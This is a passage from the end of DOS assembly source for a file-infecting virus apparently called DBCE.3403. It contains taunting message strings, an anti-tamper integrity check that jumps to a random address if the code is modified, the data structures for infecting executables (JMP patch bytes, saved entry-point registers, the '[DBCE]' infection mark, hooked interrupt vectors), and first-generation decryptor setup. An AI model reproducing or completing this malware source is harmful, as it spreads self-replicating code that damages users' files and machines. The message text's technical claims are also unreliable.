	     db      'would to do a seek in a tight loop the harmonics would be enough to allow',0ah,0dh
	     db      'the heads to crash through the air-bearing.$'
the_purity_o db      'The purity of the overall engine is mathclanked by the deliberate',0ah,0dh
	     db      'alteration of one of the subsets.  That alteration is dependent on the',0ah,0dh
	     db      'works of an human idiot math-clanker.  It is illegal and not natural.$'
any_so_calle db      'Any so called virus that can take instrucution to lift attributes has to',0ah,0dh
	     db      'be artificially intelligent.$'
if_a_pseudov db      'If a pseudoVirus consults the COMSPEC to find the original copy of',0ah,0dh
	     db      'COMMAND.COM, all you have to do is use debug and rename COMSPEC and',0ah,0dh
	     db      'COMMAND.COM.  Change the varialbe and tell your virus to decipher it!  If',0ah,0dh
	     db      'it does consult or decipher then it''s AI, not virus.$'
integr_end:
calc_integri proc    near		 ; Calculate integrity of DBCE.3403
	     lea     si,integr_begin	 ; SI = offset of integr_begin
	     mov     cx,(integr_end-integr_begin)
	     xor     ax,ax		 ; Zero AX
integri_loop:
	     add     al,cs:[si] 	 ; AL = integrity of DBCE.3403

	     inc     si 		 ; Increase index register

	     loop    integri_loop

	     cmp     al,6eh		 ; Correct integrity
	     je      integri_exit	 ; Equal? Jump to integri_exit

	     mov     bx,0ffffh		 ; Random number within sixty-five ...
	     call    rnd_in_range

	     jmp     ax
integri_exit:
	     ret			 ; Return!
	     endp

virus_offset equ     word ptr $+01h	 ; Offset of virus within infected ...
infect_code  db      0e9h,?,?		 ; JMP imm16 (opcode 0e9h)
initial_cs   dw      ?			 ; Initial CS relative to start of ...
initial_ip   dw      ?			 ; Initial IP
initial_ss   dw      ?			 ; Initial SS relative to start of ...
initial_sp   dw      ?			 ; Initial SP
file_header  db      0cdh,20h,16h dup(?) ; File header
crypt_end:
infect_mark  db      '[DBCE]'            ; Infection mark
code_end:
int08_addr   dd      ?			 ; Address of interrupt 08h
int09_addr   dd      ?			 ; Address of interrupt 09h
int21_addr   dd      ?			 ; Address of interrupt 21h
int24_addr   dd      ?			 ; Address of interrupt 24h
file_handle  dw      ?			 ; File handle
file_attr    dw      ?			 ; File attributes
file_date    dw      ?			 ; File date
file_time    dw      ?			 ; File time
filesize     dd      ?			 ; Filesize
data_segment dw      ?			 ; Data segment
infect_mark_ db      06h dup(?) 	 ; Infection mark
video_addr   dw      ?			 ; Video mode address
exam_offset  dw      ?			 ; Current offset under examination
exam_offset_ dw      ?			 ;    "      "      "        "
examining    db      ?			 ; Examining the video page (regen ...
random_begin:
random_off   dw      ?			 ; Offset within the table of rando...
random_table dw      80h dup(?) 	 ; Table of random numbers
random_end:
data_end:
	     db      (data_end-code_begin) dup(?)
data_end_:
first_gen:
	     mov     [lea_ax_imm16+100h],offset decryptor

	     jmp     crypt_begin

end	     code_begin
